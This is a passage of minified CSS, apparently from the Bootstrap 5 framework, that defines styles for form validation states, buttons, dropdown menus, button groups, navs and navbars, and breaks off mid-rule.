.form-check-input:valid{border-color:#198754}.form-check-input.is-valid:checked,.was-validated .form-check-input:valid:checked{background-color:#198754}.form-check-input.is-valid:focus,.was-validated .form-check-input:valid:focus{box-shadow:0 0 0 .25rem rgba(25,135,84,.25)}.form-check-input.is-valid~.form-check-label,.was-validated .form-check-input:valid~.form-check-label{color:#198754}.form-check-inline .form-check-input~.valid-feedback{margin-left:.5em}.input-group .form-control.is-valid,.input-group .form-select.is-valid,.was-validated .input-group .form-control:valid,.was-validated .input-group .form-select:valid{z-index:1}.input-group .form-control.is-valid:focus,.input-group .form-select.is-valid:focus,.was-validated .input-group .form-control:valid:focus,.was-validated .input-group .form-select:valid:focus{z-index:3}.invalid-feedback{display:none;width:100%;margin-top:.25rem;font-size:.875em;color:#dc3545}.invalid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.25rem .5rem;margin-top:.1rem;font-size:.875rem;color:#fff;background-color:rgba(220,53,69,.9);border-radius:.25rem}.is-invalid~.invalid-feedback,.is-invalid~.invalid-tooltip,.was-validated :invalid~.invalid-feedback,.was-validated :invalid~.invalid-tooltip{display:block}.form-control.is-invalid,.was-validated .form-control:invalid{border-color:#dc3545;padding-right:calc(1.5em + .75rem);background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 12 12' width='12' height='12' fill='none' stroke='%23dc3545'%3e%3ccircle cx='6' cy='6' r='4.5'/%3e%3cpath stroke-linejoin='round' d='M5.8 3.6h.4L6 6.5z'/%3e%3ccircle cx='6' cy='8.2' r='.6' fill='%23dc3545' stroke='none'/%3e%3c/svg%3e");background-repeat:no-repeat;background-position:right calc(.375em + .1875rem) center;background-size:calc(.75em + .375rem) calc(.75em + .375rem)}.form-control.is-invalid:focus,.was-validated .form-control:invalid:focus{border-color:#dc3545;box-shadow:0 0 0 .25rem rgba(220,53,69,.25)}.was-validated textarea.form-control:invalid,textarea.form-control.is-invalid{padding-right:calc(1.5em + .75rem);background-position:top calc(.375em + .1875rem) right calc(.375em + .1875rem)}.form-select.is-invalid,.was-validated .form-select:invalid{border-color:#dc3545}.form-select.is-invalid:not([multiple]):not([size]),.form-select.is-invalid:not([multiple])[size="1"],.was-validated .form-select:invalid:not([multiple]):not([size]),.was-validated .form-select:invalid:not([multiple])[size="1"]{padding-right:4.125rem;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3e%3cpath fill='none' stroke='%23343a40' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='M2 5l6 6 6-6'/%3e%3c/svg%3e"),url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 12 12' width='12' height='12' fill='none' stroke='%23dc3545'%3e%3ccircle cx='6' cy='6' r='4.5'/%3e%3cpath stroke-linejoin='round' d='M5.8 3.6h.4L6 6.5z'/%3e%3ccircle cx='6' cy='8.2' r='.6' fill='%23dc3545' stroke='none'/%3e%3c/svg%3e");background-position:right .75rem center,center right 2.25rem;background-size:16px 12px,calc(.75em + .375rem) calc(.75em + .375rem)}.form-select.is-invalid:focus,.was-validated .form-select:invalid:focus{border-color:#dc3545;box-shadow:0 0 0 .25rem rgba(220,53,69,.25)}.form-check-input.is-invalid,.was-validated .form-check-input:invalid{border-color:#dc3545}.form-check-input.is-invalid:checked,.was-validated .form-check-input:invalid:checked{background-color:#dc3545}.form-check-input.is-invalid:focus,.was-validated .form-check-input:invalid:focus{box-shadow:0 0 0 .25rem rgba(220,53,69,.25)}.form-check-input.is-invalid~.form-check-label,.was-validated .form-check-input:invalid~.form-check-label{color:#dc3545}.form-check-inline .form-check-input~.invalid-feedback{margin-left:.5em}.input-group .form-control.is-invalid,.input-group .form-select.is-invalid,.was-validated .input-group .form-control:invalid,.was-validated .input-group .form-select:invalid{z-index:2}.input-group .form-control.is-invalid:focus,.input-group .form-select.is-invalid:focus,.was-validated .input-group .form-control:invalid:focus,.was-validated .input-group .form-select:invalid:focus{z-index:3}.btn{display:inline-block;font-weight:400;line-height:1.5;color:#212529;text-align:center;text-decoration:none;vertical-align:middle;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;user-select:none;background-color:transparent;border:1px solid transparent;padding:.375rem .75rem;font-size:1rem;border-radius:.25rem;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.btn{transition:none}}.btn:hover{color:#212529}.btn-check:focus+.btn,.btn:focus{outline:0;box-shadow:0 0 0 .25rem rgba(13,110,253,.25)}.btn.disabled,.btn:disabled,fieldset:disabled .btn{pointer-events:none;opacity:.65}.btn-primary{color:#fff;background-color:#0d6efd;border-color:#0d6efd}.btn-primary:hover{color:#fff;background-color:#0b5ed7;border-color:#0a58ca}.btn-check:focus+.btn-primary,.btn-primary:focus{color:#fff;background-color:#0b5ed7;border-color:#0a58ca;box-shadow:0 0 0 .25rem rgba(49,132,253,.5)}.btn-check:active+.btn-primary,.btn-check:checked+.btn-primary,.btn-primary.active,.btn-primary:active,.show>.btn-primary.dropdown-toggle{color:#fff;background-color:#0a58ca;border-color:#0a53be}.btn-check:active+.btn-primary:focus,.btn-check:checked+.btn-primary:focus,.btn-primary.active:focus,.btn-primary:active:focus,.show>.btn-primary.dropdown-toggle:focus{box-shadow:0 0 0 .25rem rgba(49,132,253,.5)}.btn-primary.disabled,.btn-primary:disabled{color:#fff;background-color:#0d6efd;border-color:#0d6efd}.btn-secondary{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-secondary:hover{color:#fff;background-color:#5c636a;border-color:#565e64}.btn-check:focus+.btn-secondary,.btn-secondary:focus{color:#fff;background-color:#5c636a;border-color:#565e64;box-shadow:0 0 0 .25rem rgba(130,138,145,.5)}.btn-check:active+.btn-secondary,.btn-check:checked+.btn-secondary,.btn-secondary.active,.btn-secondary:active,.show>.btn-secondary.dropdown-toggle{color:#fff;background-color:#565e64;border-color:#51585e}.btn-check:active+.btn-secondary:focus,.btn-check:checked+.btn-secondary:focus,.btn-secondary.active:focus,.btn-secondary:active:focus,.show>.btn-secondary.dropdown-toggle:focus{box-shadow:0 0 0 .25rem rgba(130,138,145,.5)}.btn-secondary.disabled,.btn-secondary:disabled{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-success{color:#fff;background-color:#198754;border-color:#198754}.btn-success:hover{color:#fff;background-color:#157347;border-color:#146c43}.btn-check:focus+.btn-success,.btn-success:focus{color:#fff;background-color:#157347;border-color:#146c43;box-shadow:0 0 0 .25rem rgba(60,153,110,.5)}.btn-check:active+.btn-success,.btn-check:checked+.btn-success,.btn-success.active,.btn-success:active,.show>.btn-success.dropdown-toggle{color:#fff;background-color:#146c43;border-color:#13653f}.btn-check:active+.btn-success:focus,.btn-check:checked+.btn-success:focus,.btn-success.active:focus,.btn-success:active:focus,.show>.btn-success.dropdown-toggle:focus{box-shadow:0 0 0 .25rem rgba(60,153,110,.5)}.btn-success.disabled,.btn-success:disabled{color:#fff;background-color:#198754;border-color:#198754}.btn-info{color:#000;background-color:#0dcaf0;border-color:#0dcaf0}.btn-info:hover{color:#000;background-color:#31d2f2;border-color:#25cff2}.btn-check:focus+.btn-info,.btn-info:focus{color:#000;background-color:#31d2f2;border-color:#25cff2;box-shadow:0 0 0 .25rem rgba(11,172,204,.5)}.btn-check:active+.btn-info,.btn-check:checked+.btn-info,.btn-info.active,.btn-info:active,.show>.btn-info.dropdown-toggle{color:#000;background-color:#3dd5f3;border-color:#25cff2}.btn-check:active+.btn-info:focus,.btn-check:checked+.btn-info:focus,.btn-info.active:focus,.btn-info:active:focus,.show>.btn-info.dropdown-toggle:focus{box-shadow:0 0 0 .25rem rgba(11,172,204,.5)}.btn-info.disabled,.btn-info:disabled{color:#000;background-color:#0dcaf0;border-color:#0dcaf0}.btn-warning{color:#000;background-color:#ffc107;border-color:#ffc107}.btn-warning:hover{color:#000;background-color:#ffca2c;border-color:#ffc720}.btn-check:focus+.btn-warning,.btn-warning:focus{color:#000;background-color:#ffca2c;border-color:#ffc720;box-shadow:0 0 0 .25rem rgba(217,164,6,.5)}.btn-check:active+.btn-warning,.btn-check:checked+.btn-warning,.btn-warning.active,.btn-warning:active,.show>.btn-warning.dropdown-toggle{color:#000;background-color:#ffcd39;border-color:#ffc720}.btn-check:active+.btn-warning:focus,.btn-check:checked+.btn-warning:focus,.btn-warning.active:focus,.btn-warning:active:focus,.show>.btn-warning.dropdown-toggle:focus{box-shadow:0 0 0 .25rem rgba(217,164,6,.5)}.btn-warning.disabled,.btn-warning:disabled{color:#000;background-color:#ffc107;border-color:#ffc107}.btn-danger{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-danger:hover{color:#fff;background-color:#bb2d3b;border-color:#b02a37}.btn-check:focus+.btn-danger,.btn-danger:focus{color:#fff;background-color:#bb2d3b;border-color:#b02a37;box-shadow:0 0 0 .25rem rgba(225,83,97,.5)}.btn-check:active+.btn-danger,.btn-check:checked+.btn-danger,.btn-danger.active,.btn-danger:active,.show>.btn-danger.dropdown-toggle{color:#fff;background-color:#b02a37;border-color:#a52834}.btn-check:active+.btn-danger:focus,.btn-check:checked+.btn-danger:focus,.btn-danger.active:focus,.btn-danger:active:focus,.show>.btn-danger.dropdown-toggle:focus{box-shadow:0 0 0 .25rem rgba(225,83,97,.5)}.btn-danger.disabled,.btn-danger:disabled{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-light{color:#000;background-color:#f8f9fa;border-color:#f8f9fa}.btn-light:hover{color:#000;background-color:#f9fafb;border-color:#f9fafb}.btn-check:focus+.btn-light,.btn-light:focus{color:#000;background-color:#f9fafb;border-color:#f9fafb;box-shadow:0 0 0 .25rem rgba(211,212,213,.5)}.btn-check:active+.btn-light,.btn-check:checked+.btn-light,.btn-light.active,.btn-light:active,.show>.btn-light.dropdown-toggle{color:#000;background-color:#f9fafb;border-color:#f9fafb}.btn-check:active+.btn-light:focus,.btn-check:checked+.btn-light:focus,.btn-light.active:focus,.btn-light:active:focus,.show>.btn-light.dropdown-toggle:focus{box-shadow:0 0 0 .25rem rgba(211,212,213,.5)}.btn-light.disabled,.btn-light:disabled{color:#000;background-color:#f8f9fa;border-color:#f8f9fa}.btn-dark{color:#fff;background-color:#212529;border-color:#212529}.btn-dark:hover{color:#fff;background-color:#1c1f23;border-color:#1a1e21}.btn-check:focus+.btn-dark,.btn-dark:focus{color:#fff;background-color:#1c1f23;border-color:#1a1e21;box-shadow:0 0 0 .25rem rgba(66,70,73,.5)}.btn-check:active+.btn-dark,.btn-check:checked+.btn-dark,.btn-dark.active,.btn-dark:active,.show>.btn-dark.dropdown-toggle{color:#fff;background-color:#1a1e21;border-color:#191c1f}.btn-check:active+.btn-dark:focus,.btn-check:checked+.btn-dark:focus,.btn-dark.active:focus,.btn-dark:active:focus,.show>.btn-dark.dropdown-toggle:focus{box-shadow:0 0 0 .25rem rgba(66,70,73,.5)}.btn-dark.disabled,.btn-dark:disabled{color:#fff;background-color:#212529;border-color:#212529}.btn-outline-primary{color:#0d6efd;border-color:#0d6efd}.btn-outline-primary:hover{color:#fff;background-color:#0d6efd;border-color:#0d6efd}.btn-check:focus+.btn-outline-primary,.btn-outline-primary:focus{box-shadow:0 0 0 .25rem rgba(13,110,253,.5)}.btn-check:active+.btn-outline-primary,.btn-check:checked+.btn-outline-primary,.btn-outline-primary.active,.btn-outline-primary.dropdown-toggle.show,.btn-outline-primary:active{color:#fff;background-color:#0d6efd;border-color:#0d6efd}.btn-check:active+.btn-outline-primary:focus,.btn-check:checked+.btn-outline-primary:focus,.btn-outline-primary.active:focus,.btn-outline-primary.dropdown-toggle.show:focus,.btn-outline-primary:active:focus{box-shadow:0 0 0 .25rem rgba(13,110,253,.5)}.btn-outline-primary.disabled,.btn-outline-primary:disabled{color:#0d6efd;background-color:transparent}.btn-outline-secondary{color:#6c757d;border-color:#6c757d}.btn-outline-secondary:hover{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-check:focus+.btn-outline-secondary,.btn-outline-secondary:focus{box-shadow:0 0 0 .25rem rgba(108,117,125,.5)}.btn-check:active+.btn-outline-secondary,.btn-check:checked+.btn-outline-secondary,.btn-outline-secondary.active,.btn-outline-secondary.dropdown-toggle.show,.btn-outline-secondary:active{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-check:active+.btn-outline-secondary:focus,.btn-check:checked+.btn-outline-secondary:focus,.btn-outline-secondary.active:focus,.btn-outline-secondary.dropdown-toggle.show:focus,.btn-outline-secondary:active:focus{box-shadow:0 0 0 .25rem rgba(108,117,125,.5)}.btn-outline-secondary.disabled,.btn-outline-secondary:disabled{color:#6c757d;background-color:transparent}.btn-outline-success{color:#198754;border-color:#198754}.btn-outline-success:hover{color:#fff;background-color:#198754;border-color:#198754}.btn-check:focus+.btn-outline-success,.btn-outline-success:focus{box-shadow:0 0 0 .25rem rgba(25,135,84,.5)}.btn-check:active+.btn-outline-success,.btn-check:checked+.btn-outline-success,.btn-outline-success.active,.btn-outline-success.dropdown-toggle.show,.btn-outline-success:active{color:#fff;background-color:#198754;border-color:#198754}.btn-check:active+.btn-outline-success:focus,.btn-check:checked+.btn-outline-success:focus,.btn-outline-success.active:focus,.btn-outline-success.dropdown-toggle.show:focus,.btn-outline-success:active:focus{box-shadow:0 0 0 .25rem rgba(25,135,84,.5)}.btn-outline-success.disabled,.btn-outline-success:disabled{color:#198754;background-color:transparent}.btn-outline-info{color:#0dcaf0;border-color:#0dcaf0}.btn-outline-info:hover{color:#000;background-color:#0dcaf0;border-color:#0dcaf0}.btn-check:focus+.btn-outline-info,.btn-outline-info:focus{box-shadow:0 0 0 .25rem rgba(13,202,240,.5)}.btn-check:active+.btn-outline-info,.btn-check:checked+.btn-outline-info,.btn-outline-info.active,.btn-outline-info.dropdown-toggle.show,.btn-outline-info:active{color:#000;background-color:#0dcaf0;border-color:#0dcaf0}.btn-check:active+.btn-outline-info:focus,.btn-check:checked+.btn-outline-info:focus,.btn-outline-info.active:focus,.btn-outline-info.dropdown-toggle.show:focus,.btn-outline-info:active:focus{box-shadow:0 0 0 .25rem rgba(13,202,240,.5)}.btn-outline-info.disabled,.btn-outline-info:disabled{color:#0dcaf0;background-color:transparent}.btn-outline-warning{color:#ffc107;border-color:#ffc107}.btn-outline-warning:hover{color:#000;background-color:#ffc107;border-color:#ffc107}.btn-check:focus+.btn-outline-warning,.btn-outline-warning:focus{box-shadow:0 0 0 .25rem rgba(255,193,7,.5)}.btn-check:active+.btn-outline-warning,.btn-check:checked+.btn-outline-warning,.btn-outline-warning.active,.btn-outline-warning.dropdown-toggle.show,.btn-outline-warning:active{color:#000;background-color:#ffc107;border-color:#ffc107}.btn-check:active+.btn-outline-warning:focus,.btn-check:checked+.btn-outline-warning:focus,.btn-outline-warning.active:focus,.btn-outline-warning.dropdown-toggle.show:focus,.btn-outline-warning:active:focus{box-shadow:0 0 0 .25rem rgba(255,193,7,.5)}.btn-outline-warning.disabled,.btn-outline-warning:disabled{color:#ffc107;background-color:transparent}.btn-outline-danger{color:#dc3545;border-color:#dc3545}.btn-outline-danger:hover{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-check:focus+.btn-outline-danger,.btn-outline-danger:focus{box-shadow:0 0 0 .25rem rgba(220,53,69,.5)}.btn-check:active+.btn-outline-danger,.btn-check:checked+.btn-outline-danger,.btn-outline-danger.active,.btn-outline-danger.dropdown-toggle.show,.btn-outline-danger:active{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-check:active+.btn-outline-danger:focus,.btn-check:checked+.btn-outline-danger:focus,.btn-outline-danger.active:focus,.btn-outline-danger.dropdown-toggle.show:focus,.btn-outline-danger:active:focus{box-shadow:0 0 0 .25rem rgba(220,53,69,.5)}.btn-outline-danger.disabled,.btn-outline-danger:disabled{color:#dc3545;background-color:transparent}.btn-outline-light{color:#f8f9fa;border-color:#f8f9fa}.btn-outline-light:hover{color:#000;background-color:#f8f9fa;border-color:#f8f9fa}.btn-check:focus+.btn-outline-light,.btn-outline-light:focus{box-shadow:0 0 0 .25rem rgba(248,249,250,.5)}.btn-check:active+.btn-outline-light,.btn-check:checked+.btn-outline-light,.btn-outline-light.active,.btn-outline-light.dropdown-toggle.show,.btn-outline-light:active{color:#000;background-color:#f8f9fa;border-color:#f8f9fa}.btn-check:active+.btn-outline-light:focus,.btn-check:checked+.btn-outline-light:focus,.btn-outline-light.active:focus,.btn-outline-light.dropdown-toggle.show:focus,.btn-outline-light:active:focus{box-shadow:0 0 0 .25rem rgba(248,249,250,.5)}.btn-outline-light.disabled,.btn-outline-light:disabled{color:#f8f9fa;background-color:transparent}.btn-outline-dark{color:#212529;border-color:#212529}.btn-outline-dark:hover{color:#fff;background-color:#212529;border-color:#212529}.btn-check:focus+.btn-outline-dark,.btn-outline-dark:focus{box-shadow:0 0 0 .25rem rgba(33,37,41,.5)}.btn-check:active+.btn-outline-dark,.btn-check:checked+.btn-outline-dark,.btn-outline-dark.active,.btn-outline-dark.dropdown-toggle.show,.btn-outline-dark:active{color:#fff;background-color:#212529;border-color:#212529}.btn-check:active+.btn-outline-dark:focus,.btn-check:checked+.btn-outline-dark:focus,.btn-outline-dark.active:focus,.btn-outline-dark.dropdown-toggle.show:focus,.btn-outline-dark:active:focus{box-shadow:0 0 0 .25rem rgba(33,37,41,.5)}.btn-outline-dark.disabled,.btn-outline-dark:disabled{color:#212529;background-color:transparent}.btn-link{font-weight:400;color:#0d6efd;text-decoration:underline}.btn-link:hover{color:#0a58ca}.btn-link.disabled,.btn-link:disabled{color:#6c757d}.btn-group-lg>.btn,.btn-lg{padding:.5rem 1rem;font-size:1.25rem;border-radius:.3rem}.btn-group-sm>.btn,.btn-sm{padding:.25rem .5rem;font-size:.875rem;border-radius:.2rem}.fade{transition:opacity .15s linear}@media (prefers-reduced-motion:reduce){.fade{transition:none}}.fade:not(.show){opacity:0}.collapse:not(.show){display:none}.collapsing{height:0;overflow:hidden;transition:height .35s ease}@media (prefers-reduced-motion:reduce){.collapsing{transition:none}}.collapsing.collapse-horizontal{width:0;height:auto;transition:width .35s ease}@media (prefers-reduced-motion:reduce){.collapsing.collapse-horizontal{transition:none}}.dropdown,.dropend,.dropstart,.dropup{position:relative}.dropdown-toggle{white-space:nowrap}.dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:.3em solid;border-right:.3em solid transparent;border-bottom:0;border-left:.3em solid transparent}.dropdown-toggle:empty::after{margin-left:0}.dropdown-menu{position:absolute;z-index:1000;display:none;min-width:10rem;padding:.5rem 0;margin:0;font-size:1rem;color:#212529;text-align:left;list-style:none;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.15);border-radius:.25rem}.dropdown-menu[data-bs-popper]{top:100%;left:0;margin-top:.125rem}.dropdown-menu-start{--bs-position:start}.dropdown-menu-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-end{--bs-position:end}.dropdown-menu-end[data-bs-popper]{right:0;left:auto}@media (min-width:576px){.dropdown-menu-sm-start{--bs-position:start}.dropdown-menu-sm-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-sm-end{--bs-position:end}.dropdown-menu-sm-end[data-bs-popper]{right:0;left:auto}}@media (min-width:768px){.dropdown-menu-md-start{--bs-position:start}.dropdown-menu-md-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-md-end{--bs-position:end}.dropdown-menu-md-end[data-bs-popper]{right:0;left:auto}}@media (min-width:992px){.dropdown-menu-lg-start{--bs-position:start}.dropdown-menu-lg-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-lg-end{--bs-position:end}.dropdown-menu-lg-end[data-bs-popper]{right:0;left:auto}}@media (min-width:1200px){.dropdown-menu-xl-start{--bs-position:start}.dropdown-menu-xl-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-xl-end{--bs-position:end}.dropdown-menu-xl-end[data-bs-popper]{right:0;left:auto}}@media (min-width:1400px){.dropdown-menu-xxl-start{--bs-position:start}.dropdown-menu-xxl-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-xxl-end{--bs-position:end}.dropdown-menu-xxl-end[data-bs-popper]{right:0;left:auto}}.dropup .dropdown-menu[data-bs-popper]{top:auto;bottom:100%;margin-top:0;margin-bottom:.125rem}.dropup .dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:0;border-right:.3em solid transparent;border-bottom:.3em solid;border-left:.3em solid transparent}.dropup .dropdown-toggle:empty::after{margin-left:0}.dropend .dropdown-menu[data-bs-popper]{top:0;right:auto;left:100%;margin-top:0;margin-left:.125rem}.dropend .dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:.3em solid transparent;border-right:0;border-bottom:.3em solid transparent;border-left:.3em solid}.dropend .dropdown-toggle:empty::after{margin-left:0}.dropend .dropdown-toggle::after{vertical-align:0}.dropstart .dropdown-menu[data-bs-popper]{top:0;right:100%;left:auto;margin-top:0;margin-right:.125rem}.dropstart .dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:""}.dropstart .dropdown-toggle::after{display:none}.dropstart .dropdown-toggle::before{display:inline-block;margin-right:.255em;vertical-align:.255em;content:"";border-top:.3em solid transparent;border-right:.3em solid;border-bottom:.3em solid transparent}.dropstart .dropdown-toggle:empty::after{margin-left:0}.dropstart .dropdown-toggle::before{vertical-align:0}.dropdown-divider{height:0;margin:.5rem 0;overflow:hidden;border-top:1px solid rgba(0,0,0,.15)}.dropdown-item{display:block;width:100%;padding:.25rem 1rem;clear:both;font-weight:400;color:#212529;text-align:inherit;text-decoration:none;white-space:nowrap;background-color:transparent;border:0}.dropdown-item:focus,.dropdown-item:hover{color:#1e2125;background-color:#e9ecef}.dropdown-item.active,.dropdown-item:active{color:#fff;text-decoration:none;background-color:#0d6efd}.dropdown-item.disabled,.dropdown-item:disabled{color:#adb5bd;pointer-events:none;background-color:transparent}.dropdown-menu.show{display:block}.dropdown-header{display:block;padding:.5rem 1rem;margin-bottom:0;font-size:.875rem;color:#6c757d;white-space:nowrap}.dropdown-item-text{display:block;padding:.25rem 1rem;color:#212529}.dropdown-menu-dark{color:#dee2e6;background-color:#343a40;border-color:rgba(0,0,0,.15)}.dropdown-menu-dark .dropdown-item{color:#dee2e6}.dropdown-menu-dark .dropdown-item:focus,.dropdown-menu-dark .dropdown-item:hover{color:#fff;background-color:rgba(255,255,255,.15)}.dropdown-menu-dark .dropdown-item.active,.dropdown-menu-dark .dropdown-item:active{color:#fff;background-color:#0d6efd}.dropdown-menu-dark .dropdown-item.disabled,.dropdown-menu-dark .dropdown-item:disabled{color:#adb5bd}.dropdown-menu-dark .dropdown-divider{border-color:rgba(0,0,0,.15)}.dropdown-menu-dark .dropdown-item-text{color:#dee2e6}.dropdown-menu-dark .dropdown-header{color:#adb5bd}.btn-group,.btn-group-vertical{position:relative;display:inline-flex;vertical-align:middle}.btn-group-vertical>.btn,.btn-group>.btn{position:relative;flex:1 1 auto}.btn-group-vertical>.btn-check:checked+.btn,.btn-group-vertical>.btn-check:focus+.btn,.btn-group-vertical>.btn.active,.btn-group-vertical>.btn:active,.btn-group-vertical>.btn:focus,.btn-group-vertical>.btn:hover,.btn-group>.btn-check:checked+.btn,.btn-group>.btn-check:focus+.btn,.btn-group>.btn.active,.btn-group>.btn:active,.btn-group>.btn:focus,.btn-group>.btn:hover{z-index:1}.btn-toolbar{display:flex;flex-wrap:wrap;justify-content:flex-start}.btn-toolbar .input-group{width:auto}.btn-group>.btn-group:not(:first-child),.btn-group>.btn:not(:first-child){margin-left:-1px}.btn-group>.btn-group:not(:last-child)>.btn,.btn-group>.btn:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn-group:not(:first-child)>.btn,.btn-group>.btn:nth-child(n+3),.btn-group>:not(.btn-check)+.btn{border-top-left-radius:0;border-bottom-left-radius:0}.dropdown-toggle-split{padding-right:.5625rem;padding-left:.5625rem}.dropdown-toggle-split::after,.dropend .dropdown-toggle-split::after,.dropup .dropdown-toggle-split::after{margin-left:0}.dropstart .dropdown-toggle-split::before{margin-right:0}.btn-group-sm>.btn+.dropdown-toggle-split,.btn-sm+.dropdown-toggle-split{padding-right:.375rem;padding-left:.375rem}.btn-group-lg>.btn+.dropdown-toggle-split,.btn-lg+.dropdown-toggle-split{padding-right:.75rem;padding-left:.75rem}.btn-group-vertical{flex-direction:column;align-items:flex-start;justify-content:center}.btn-group-vertical>.btn,.btn-group-vertical>.btn-group{width:100%}.btn-group-vertical>.btn-group:not(:first-child),.btn-group-vertical>.btn:not(:first-child){margin-top:-1px}.btn-group-vertical>.btn-group:not(:last-child)>.btn,.btn-group-vertical>.btn:not(:last-child):not(.dropdown-toggle){border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn-group:not(:first-child)>.btn,.btn-group-vertical>.btn~.btn{border-top-left-radius:0;border-top-right-radius:0}.nav{display:flex;flex-wrap:wrap;padding-left:0;margin-bottom:0;list-style:none}.nav-link{display:block;padding:.5rem 1rem;color:#0d6efd;text-decoration:none;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out}@media (prefers-reduced-motion:reduce){.nav-link{transition:none}}.nav-link:focus,.nav-link:hover{color:#0a58ca}.nav-link.disabled{color:#6c757d;pointer-events:none;cursor:default}.nav-tabs{border-bottom:1px solid #dee2e6}.nav-tabs .nav-link{margin-bottom:-1px;background:0 0;border:1px solid transparent;border-top-left-radius:.25rem;border-top-right-radius:.25rem}.nav-tabs .nav-link:focus,.nav-tabs .nav-link:hover{border-color:#e9ecef #e9ecef #dee2e6;isolation:isolate}.nav-tabs .nav-link.disabled{color:#6c757d;background-color:transparent;border-color:transparent}.nav-tabs .nav-item.show .nav-link,.nav-tabs .nav-link.active{color:#495057;background-color:#fff;border-color:#dee2e6 #dee2e6 #fff}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-left-radius:0;border-top-right-radius:0}.nav-pills .nav-link{background:0 0;border:0;border-radius:.25rem}.nav-pills .nav-link.active,.nav-pills .show>.nav-link{color:#fff;background-color:#0d6efd}.nav-fill .nav-item,.nav-fill>.nav-link{flex:1 1 auto;text-align:center}.nav-justified .nav-item,.nav-justified>.nav-link{flex-basis:0;flex-grow:1;text-align:center}.nav-fill .nav-item .nav-link,.nav-justified .nav-item .nav-link{width:100%}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.navbar{position:relative;display:flex;flex-wrap:wrap;align-items:center;justify-content:space-between;padding-top:.5rem;padding-bottom:.5rem}.navbar>.container,.navbar>.container-fluid,.navbar>.container-lg,.navbar>.container-md,.navbar>.container-sm,.navbar>.container-xl,.navbar>.container-xxl{display:flex;flex-wrap:inherit;align-items:center;justify-content:space-between}.navbar-brand{padding-top:.3125rem;padding-bottom:.3125rem;margin-right:1rem;font-size:1.25rem;text-decoration:none;white-space:nowrap}.navbar-nav{display:flex;flex-direction:column;padding-left:0;margin-bottom:0;list-style:none}.navbar-nav .nav-link{padding-right:0;padding-left:0}.navbar-nav .dropdown-menu{position:static}.navbar-text{padding-top:.5rem;padding-bottom:.5rem}.navbar-collapse{flex-basis:100%;flex-grow:1;align-items:center}.navbar-toggler{padding:.25rem .75rem;font-size:1.25rem;line-height:1;background-color:transparent;border:1px solid transparent;border-radius:.25rem;transition:box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.navbar-toggler{transition:none}}.navbar-toggler:hover{text-decoration:none}.navbar-toggler:focus{text-decoration:none;outline:0;box-shadow:0 0 0 .25rem}.navbar-toggler-icon{display:inline-block;width:1.5em;height:1.5em;vertical-align:middle;background-repeat:no-repeat;background-position:center;background-size:100%}.navbar-nav-scroll{max-height:var(--bs-scroll-height,75vh);overflow-y:auto}@media (min-width:576px){.navbar-expand-sm{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand-sm .navbar-nav{flex-direction:row}.navbar-expand-sm .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-sm .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-sm .navbar-nav-scroll{overflow:visible}.navbar-expand-sm .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-sm .navbar-toggler{display:none}.navbar-expand-sm .offcanvas-header{display:none}.navbar-expand-sm .offcanvas{position:inherit;bottom:0;z-index:1000;flex-grow:1;visibility:visible!important;background-color:transparent;border-right:0;border-left:0;transition:none;transform:none}.navbar-expand-sm .offcanvas-bottom,.navbar-expand-sm .offcanvas-top{height:auto;border-top:0;border-bottom:0}.navbar-expand-sm .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible}}@media (min-width:768px){.navbar-expand-md{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand-md .navbar-nav{flex-direction:row}.navbar-expand-md .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-md .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-md .navbar-nav-scroll{overflow:visible}.navbar-expand-md .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-md .navbar-toggler{display:none}.navbar-expand-md .offcanvas-header{display:none}.navbar-expand-md .offcanvas{position:inherit;bottom:0;z-index:1000;flex-grow:1;visibility:visible!important;background-color:transparent;border-right:0;border-left:0;transition:none;transform:none}.navbar-expand-md .offcanvas-bottom,.navbar-expand-md .offcanvas-top{height:auto;border-top:0;border-bottom:0}.navbar-expand-md .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible}}@media (min-width:992px){.navbar-expand-lg{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand-lg 